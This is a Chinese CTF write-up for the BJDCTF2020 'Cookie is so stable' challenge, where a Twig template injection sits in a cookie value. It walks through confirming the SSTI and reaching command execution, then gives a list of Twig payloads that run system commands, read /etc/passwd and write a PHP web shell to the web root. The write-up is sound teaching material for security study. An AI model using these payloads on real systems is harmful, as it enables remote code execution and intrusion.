[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)-阿里云开发者社区

[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

2023-08-22 70

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： [BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

信息收集

hint页面

flag页面

输入任意内容（这里输入admin）

这里第一反应是cookie类的SQL注入？但是发现这里其实并没有实现查询信息的功能，只是将输入的内容进行打印，看下前端源码，可能是SSTI！

修改cookie

${7*7}----------{{7*7}}---------{{7*'7'}}

确认是SSTI（PHP），根据上文的流程表判定类型是Twig

在 Twig 模板中可以直接调用函数，用于生产内容。如下调用了 range()函数用来返回一个包含整数等差数列的列表：

{% for i in range(0, 3) %}{{ i }},{% endfor %}

在twig 1.x版本，存在三个全局变量

_self：引用当前模板实例
_context：引用上下文
_charset：引用当前字符集

命令执行

payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这里可以直接修改cookie，因为直接提交会被拦截

当然flag在根目录下是猜的，我们使用命令返回的结果只有第一项

一些新版本的payload

1. {{'/etc/passwd'|file_excerpt(1,30)}}
2. 
3. {{app.request.files.get(1).__construct('/etc/passwd','')}}
4. 
5. {{app.request.files.get(1).openFile.fread(99)}}
6. 
7. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
8. 
9. {{_self.env.enableDebug()}}{{_self.env.isDebug()}}
10. 
11. {{["id"]|map("system")|join(",")
12. 
13. {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
14. 
15. {{["id",0]|sort("system")|join(",")}}
16. 
17. {{["id"]|filter("system")|join(",")}}
18. 
19. {{[0,0]|reduce("system","id")|join(",")}}
20. 
21. {{['cat /etc/passwd']|filter('system')}}